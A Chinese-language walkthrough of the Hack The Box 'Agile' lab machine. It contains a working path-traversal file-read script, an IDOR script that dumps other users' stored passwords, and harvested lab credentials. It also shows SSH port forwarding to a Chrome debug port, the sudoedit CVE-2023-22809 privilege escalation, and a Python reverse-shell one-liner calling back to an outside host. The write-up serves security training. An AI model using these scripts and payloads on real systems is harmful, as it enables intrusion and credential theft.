靶机Agile补充图片

VSole2023-03-22 10:04:15

一、信息搜集

└─# nmap -sCV --min-rate=1000 -Pn 10.10.11.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 10:12 CST
Nmap scan report for 10.10.11.203
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.68 seconds

添加host


└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts

二、本地文件包含

在扫描目录后发现download 路径,访问出现报错信息,发现了参数是fn

读取/etc/passwd,发现需要登录权限。注册个账号就读取了。

我们可以在 python 中创建一个脚本,自动实现这个过程,只需要输入的文件路径


└─# cat lfi.py              
#!/usr/bin/python3
import requests, sys
if len(sys.argv) < 2:
    print(f"\033[0;37m[\033[0;31m-\033[0;37m] Uso: python3 {sys.argv[0]} ")
    sys.exit(1)
target = "http://superpass.htb"
session = requests.Session()
data = {"username": "123", "password": "123", "submit": ""}
session.post(target + "/account/login", data=data)
params = {"fn": ".." + sys.argv[1]}
request = session.get(target + "/download", params=params)
print(request.text.strip())
└─# python lfi.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false

指向错误的文件会向我们读取正在运行的 .py 文件的路径


└─# python lfi.py /etc/passwds | grep app

└─# python lfi.py /app/app/superpass/views/vault_views.py
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')
@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
    passwords = password_service.get_passwords_for_user(current_user.id)
    print(f'{passwords=}')
    return {'passwords': passwords}
@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
    p = Password()
    p.password = get_random(20)
    #import pdb;pdb.set_trace()
    return {"p": p}
@blueprint.get('/vault/edit_row/')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}
@blueprint.get('/vault/row/')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}
@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()
    if not (site or username or password):
        return ''
    p = password_service.add_password(site, username, password, current_user.id)
    return flask.render_template('vault/partials/password_row.html', p=p)
@blueprint.post('/vault/update/')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()
    if not (site or username or password):
        flask.abort(500)
    p = password_service.update_password(id, site, username, password)
    return {"p": p}
@blueprint.delete('/vault/delete/')
@login_required
def delete(id):
    password_service.delete_password(id)
    return ''
@blueprint.get('/vault/export')
@login_required
def export():
    if current_user.has_passwords:        
        fn = password_service.generate_csv(current_user)
        return flask.redirect(f'/download?fn={fn}', 302)
    return "No passwords for user"
@blueprint.get('/download')
@login_required
def download():
    r = flask.request
    fn = r.args.get('fn')
    with open(f'/tmp/{fn}', 'rb') as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
    resp.mimetype = 'text/csv'
    return resp

阅读代码我们可以在.py文件的这部分代码中找到一个idor


@blueprint.get('/vault/row/')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}

发送不同的id我们可以看到不同的用户密码。可以创建一个python脚本来遍历id并从中获取数据


#!/usr/bin/python3
import requests, bs4
from pwn import log
target = "http://superpass.htb"
session = requests.Session()
data = {"username": "username", "password": "password", "submit": ""}
session.post(target + "/account/login", data=data)
for id in range(0,10):
    request = session.get(target + "/vault/row/" + str(id))
    soup = bs4.BeautifulSoup(request.content, "html.parser")
    rows = soup.find_all("tr", class_="password-row")
    for row in rows:
        cols = row.find_all("td")
        sitename = cols[1].get_text()
        username = cols[2].get_text()
        password = cols[3].get_text()
        if sitename != "":
            log.info(f"Credentials in row {id}:")
            print(f"\tSitename: {sitename}")
            print(f"\tUsername: {username}")
            print(f"\tPassword: {password}")
            print("\r")

执行时,它遍历id并从不同用户获得 6 个密码


└─# python AgileExploit.py
[*] Credentials in row 3:
    Sitename: hackthebox.com
    Username: 0xdf
    Password: 762b430d32eea2f12970
[*] Credentials in row 4:
    Sitename: mgoblog.com
    Username: 0xdf
    Password: 5b133f7a6a1c180646cb
[*] Credentials in row 6:
    Sitename: mgoblog
    Username: corum
    Password: 47ed1e73c955de230a1d
[*] Credentials in row 7:
    Sitename: ticketmaster
    Username: corum
    Password: 9799588839ed0f98c211
[*] Credentials in row 8:
    Sitename: agile
    Username: corum
    Password: 5db7caa1d13cc37c9fc2

在最后的一个sitename:agile 和我们的靶机名一样,那么用它username 和 password登录ssh 成功。

列出内部端口,我们可以看到 41829,这在系统上并不常见


-bash-5.1$ netstat -natActive Internet connections (servers and established)                                                      Proto Recv-Q Send-Q Local Address           Foreign Address         State                                  tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:56423         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN                                 tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN                                 tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:41829         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:32846         127.0.0.1:56423         TIME_WAIT  tcp        0      0 127.0.0.1:40522         127.0.0.1:3306          ESTABLISHEDtcp        0      0 127.0.0.1:44958         127.0.0.1:5555          TIME_WAIT  tcp      150      0 127.0.0.1:33290         127.0.0.1:3306          CLOSE_WAIT tcp        0      0 127.0.0.1:36324         127.0.0.1:41829         ESTABLISHEDtcp        0      0 127.0.0.1:50656         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50696         ESTABLISHEDtcp        0      0 127.0.1.1:22            127.0.0.1:57456         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.27:56314       ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.38:42908       ESTABLISHEDtcp        0      0 127.0.0.1:50676         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:50666         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:57866         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:3306          127.0.0.1:40522         ESTABLISHEDtcp        0      0 127.0.0.1:44948         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:80            127.0.0.1:50666         ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50656         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.16.27:59280       ESTABLISHEDtcp        0   4284 10.10.11.203:22         10.10.16.4:57244        ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50690         ESTABLISHEDtcp        0      0 127.0.0.1:41829         127.0.0.1:36324         ESTABLISHEDtcp        0      0 127.0.0.1:50696         127.0.0.1:80            ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.78:49518       ESTABLISHEDtcp        0      0 127.0.0.1:50690         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50712         ESTABLISHEDtcp        0      0 127.0.0.1:50712         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:56423         127.0.0.1:32856         ESTABLISHEDtcp        0      0 127.0.0.1:41829         127.0.0.1:36340         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.16.27:33362       ESTABLISHEDtcp        0      0 127.0.0.1:44972         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:44938         127.0.0.1:5555          TIME_WAIT  tcp        0      1 10.10.11.203:58342      8.8.8.8:53              SYN_SENT   tcp        0      0 127.0.0.1:57872         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:32856         127.0.0.1:56423         ESTABLISHEDtcp        0      0 127.0.0.1:36340         127.0.0.1:41829         ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50676         ESTABLISHEDtcp        0      0 127.0.0.1:57456         127.0.1.1:22            ESTABLISHEDtcp6       0      0 :::22                   :::*                    LISTEN     tcp6       0      0 ::1:56423               :::*                    LISTEN

在进程中我们可以看到这个端口运行着谷歌浏览器的远程debug


-bash-5.1$ ps faux | grep 41829
runner     19539  0.1  2.6 34023456 103904 ?     Sl   03:28   0:00                      \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.VCC6v1 --window-size=1420,1080 data:,
runner     19603  0.5  4.1 1184764420 163312 ?   Sl   03:28   0:01                          |       \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=19546 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1678414886916814 --launch-time-ticks=3996020528 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,1475177266462851820,14744098003185442377,131072 --disable-features=PaintHolding
corum      19709  0.0  0.0   4020  2072 pts/7    S+   03:31   0:00              \_ grep 41829

要在本地使用该端口,我们将通过使用 ssh 进行端口转发来使用它


└─# ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829
corum@10.10.11.203's password: 5db7caa1d13cc37c9fc2

在搜索栏中使用 chrome://inspect 输入127.0.0.1:41829

它向我们展示了 http://test.superpass.htb/vault 的 Target SuperPassword,访问看到了账号密码

我们可以再次使用agile 站点的username 和 password,通过ssh登录


edwards
d07867c6267dcb5df0af
corum@agile:~$ su edwards
Password: 
edwards@agile:/home/corum$ 
edwards@agile:/home/corum$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)

查看 sudoers 级别的权限,我们可以使用 sudoedit 作为 dev_admin 打开 2 个文件


edwards@agile:/home/corum$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

在本地python开web,上传到靶机pspy


└─# python -m http.server  80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.203 - - [10/Mar/2023 13:37:47] "GET /pspy64 HTTP/1.1" 200 -

用pspy列出任务我们可以发现root执行了这个文件/app/venv/bin/activate


edwards@agile:~$ ./pspy64 |grep activate
2023/03/10 05:41:55 CMD: UID=1002  PID=1326   | grep --color=auto activate 
2023/03/10 05:41:55 CMD: UID=1002  PID=1320   | vim /var/tmp/activate.XXfIlGzM /var/tmp/config_testXXXyfw94.json 
2023/03/10 05:45:01 CMD: UID=0     PID=1480   | /bin/bash -c source /app/venv/bin/activate

该文件有 dev_admin 作为一个可以写入的组,如果我们可以修改它,我们就是 root

找到 sudoedit 的 CVE-2023–22809[1],它向我们展示了一些利用它的方法

我们通过打开 /app/venv/bin/activate 作为额外文件来导出变量


export EDITOR="vim -- /app/venv/bin/activate"

现在我们打开允许我们在 sudoers 级别以 dev_admin 打开的文件/app/config_test.json


sudo -u dev_admin sudoedit /app/config_test.json

使用在线工具 生成python的反弹shell命令,在线反弹shell[2]

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

反弹shell 拿到root 。

References

[1] CVE-2023–22809: https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

[2] 在线反弹shell: https://www.0le.cn/reverse/

dev
本作品采用《CC 协议》,转载必须注明作者和本文链接
2023年DevSecOps发展趋势
2023-02-14 10:08:04
2023年的主要趋势以下是我们预计2023年DevSecOps领域将出现的主要行业趋势。根据Gartner的数据显示,75%的组织已经开启了这一过程。根据Gartner的说法,组织应该准备在补丁发布后立即对关键系统进行紧急修复,以解决漏洞威胁。尽管SBOM的目标令人钦佩,但在实际应用上仍然存在诸多障碍。此外,SBOM在采购决策方面的价值也有限。
DevSecOps不仅仅是将安全“塞进”开发和运营。事实上,DevSecOps已经成为一种工程文化、一种自动化平台设计方法,目标是将安全性集成到整个IT生命周期中,成为敏捷企业的安全基石。以下我们收集整理了八个开发团队不可错过的,可集成到CI/CD管道中的DevSecOps开源工具。
敏捷共生,守护中国软件供应链安全
日前,微软安全威胁情报团队发布警告称,被跟踪为DEV-0569的黑客组织正在通过Google Ads分发各种恶意软件,近期活跃的Royal 勒索软件也在其中。据悉,DEV-0569黑客组织进行的恶意软件分发活动,主要以 传播 指向嵌入垃圾邮件、论坛页面和博客评论中的伪装成正版软件安装程序的下载链接为主。在微软披露的信息中,还强调DEV-0569黑客组织严重依赖防御规避技术,在近期的攻击活动中还使用了开源工具Nsudo来禁用防病毒解决方案。
SAST通常会在不同的时间间隔或需要添加或更改代码库时重新运行。作为DevSecOps产品,为自动化量身定制的SAST工具会逐行筛查代码以识别已知漏洞和薄弱环节。通过人工智能技术可以大大减少SAST工具的误报事件。DAST降低了将有安全漏洞的软件交到业务用户手中的风险。DAST的主要缺点是测试难以覆盖整个攻击面,从而导致一些漏洞被遗漏。SCA工具提供了一种可靠的方法来及时自动识别漏洞和利用。
DevOps是Development和Operations组合的缩写词,它指的是一种协作方法,使企业的应用程序开发团队(Development team)和 IT 运营团队(Operations team)能够更好地沟通工作,DevOps的概念有助于使技术项目与业务需求保持一致,从而提高企业整体的工作效率[1]。如图1所示[2],DevOps流程主要会涉及8个步骤,分别是:计划(PLAN)、编码(
运行时阶段中的微隔离、入侵检测、安全响应、溯源分析和威胁狩猎是核心环节,每个环节环环相扣。入侵检测分为三个层次,即已知威胁检测、恶意行为检测、异常检测。基于人、工具和数据端三方面,做到全面安全防御;再者,收集容器的相关行为数据,以ATT&CK框架为模型,通过大数据工具来持续做安全威胁分析。
DevOps以敏捷见长,因此保护这些组织的能力必须同样迅速,对于无法阻止的情况必须快速响应。这有助于使安全成为每个人的工作。自从第一个安全事件和入侵检测工具发出警报以来,安全与运营团队就收到了大量警报。它查询Elasticsearch并根据一组规则对数据进行比较。
目前DevOps相关的概念很多,比如DevSecOps、AIOps、SRE、CI、CD等。这么多概念往往让人很困惑,搞不清楚彼此之间的关系。不少人喜欢用图1来解释DevOps、敏捷、CI、CD等之间的关系,不过这可能会造成对DevOps的误解。 我们都知道DevOps要形成闭环,但仅仅关注闭环还是不够的,更别说仅关注研发或者CICD了。作为云原生思想之一,DevOps的核心是围绕应用生命周期过程
近些年DevSecOps的推广不断深入、很多大厂也在推进或已经完成这类标准化的升级。本人在实施过程中,读了很多文章、看了很多乙方厂商的实施方案,最终准备以自己的角度来将一下DevSecOps。DevSecOps实施的主要目的是安全问题左移,将大部分安全问题消灭于系统构建的雏形中。
VSole
网络安全专家